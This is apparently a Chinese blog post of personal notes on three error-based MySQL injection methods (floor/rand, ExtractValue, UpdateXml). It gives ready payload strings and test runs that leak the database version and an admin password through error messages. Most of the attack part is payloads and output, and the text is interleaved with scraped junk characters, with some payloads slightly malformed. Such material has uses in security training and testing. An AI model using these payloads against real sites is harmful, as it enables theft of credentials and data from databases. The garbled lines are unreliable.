关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
# U" ^/ p6 a6 B9 ^实际测试环境：
. }; `% R, n. [. E! X; ]/ T$ }# Y​
% H/ D  s) A! T* _! b; m
! \" @( N: l$ K% @0 y" ~mysql> show tables;
+----------------+
( O: e" r/ P" Y2 u| Tables_in_test |
+----------------+
  U8 K) T' |( b- @9 |" ~6 h| admin          |
| article        |
( N9 V: q/ l! P+ H3 j+----------------+



mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
# Y. y2 D0 K* N" n, u/ j: o/ Y| Field | Type             | Null | Key | Default | Extra          |
2 A8 a; ]9 C8 s) q" n) O+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
% ~& o2 j" t  R* E

5 F" A1 c8 s3 [' B( Q% K8 y8 Y
mysql> describe article;
" N6 W/ \) m+ V+---------+------------------+------+-----+---------+----------------+
- G5 g; \- f3 n5 N1 m! g| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
8 e) h4 c5 K, c: \: b| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
. l0 ^7 i8 _- O* F' ^/ E; d+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
& E  [" H9 g$ d# P" ?

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);

' P) ~$ Z4 @( W8 H' v( v, k
$ p6 ]3 t5 g: J" Dand (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
  H) a% w* m8 _+ o- H$ p7 v2 {1 l2 bfloor(rand(0)*2)));
举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
' Z4 y7 }# |$ O1 T3 ?: r! e+----+-------+---------+
4 r+ F( l! W* D- t  n5 ?1 z+ I5 M|  1 | test  | do it   |
! J& p1 l9 K6 j+----+-------+---------+
" M$ s: V% x7 g& F假如id输入存在注入的话，可以通过如下语句进行报错。

2 T/ f& E, M* o# U$ v' o
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
' p: K4 o  ^$ h. u' Y例如我们需要查询管理员用户名和密码：
Method1:

) }' N: j# S9 G  f! ?* o7 \
- Z. B+ Y2 e7 J& z5 N6 ?$ |mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
0 O- \1 W6 ?8 T; {from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:


4 X/ N: b( ^7 x; D& Z4 B6 amysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
: b4 B! b: L& ?$ b1 _$ Q测试语句如下
5 M) s" d& Y0 U! l

2 N, O! J+ r' o# c4 Z$ G1 _and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  N3 x- I9 _* M: Y实际测试过程

3 Q$ ]1 S2 m  \1 z
% q) Z) S) K. y7 ?1 Smysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句
( H& p. A0 S4 j; e" I7 B" U- W

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
+ a( |0 v5 A. u实际测试过程
, B/ {5 E6 d1 M/ R

9 Y1 e0 }$ V2 K6 \0 Emysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
) _( i7 L* F  a. r1 R(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

; W+ h0 K, e/ s( P​